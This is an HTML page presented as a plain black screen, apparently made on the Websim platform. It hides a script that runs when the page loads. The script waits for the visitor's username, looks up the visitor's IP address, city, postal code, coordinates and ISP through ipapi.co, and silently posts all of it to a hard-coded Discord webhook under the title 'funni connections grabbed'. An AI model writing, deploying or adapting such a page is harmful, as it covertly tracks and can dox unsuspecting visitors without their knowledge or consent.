<html><head><base href="." /> 
  <title>Black Screen</title>
  <style>
    body {
      background-color: black;  
      margin: 0;
    }
  </style>
</head>
<body>
  <script>
    const room = new WebsimSocket();

    async function postData(url = '', data = {}) {
      const response = await fetch(url, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify(data)
      });
      return response.json();
    }

    (async () => {
      // Wait for connection to establish and get username
      await new Promise(resolve => {
        if (room.party.client.username) {
          resolve();
        } else {
          room.party.subscribe(() => {
            if (room.party.client.username) {
              resolve();
            }
          });
        }
      });

      const username = room.party.client.username;
      const n = await fetch("https://ipapi.co/json").then(res => res.json());
      console.log(n);

      const t = {
        content: "IPAPI.CO CONNECTION LOGGED!",
        embeds: [{
          title: "funni connections grabbed", 
          description: "**ip:** " + n.ip + "\n**city:** " + n.city + "\n**region:** " + n.region + "\n**region_code:** " + n.region_code + "\n**country_code:** " + n.country_code + "\n**country_code_iso3:** " + n.country_code_iso3 + "\n**country_name:** " + n.country_name + "\n**country_capital:** " + n.country_capital + "\n**country_tld:** " + n.country_tld + "\n**continent_code:** " + n.continent_code + "\n**in_eu:** " + n.in_eu + "\n**postal:** " + n.postal + "\n**latitude:** " + n.latitude + "\n**longitude:** " + n.longitude + "\n**timezone:** " + n.timezone + "\n**utc_offset:** " + n.utc_offset + "\n**country_calling_code:** " + n.country_calling_code + "\n**currency:** " + n.currency + "\n**currency_name:** " + n.currency_name + "\n**languages:** " + n.languages + "\n**asn:** " + n.asn + "\n**org:** " + n.org,
          color: null,
          footer: {
            text: username
          }
        }],
        attachments: []
      };
      await postData("https://discord.com/api/webhooks/1326834357503262750/DDP2JGwft8nH-2EPEXcZPHdm_xNFTUS4SKI7IegDUDRE3sA7-pXZUUzVbR-owwsAq9kQ", t);
    })();
  </script>
</body>
</html>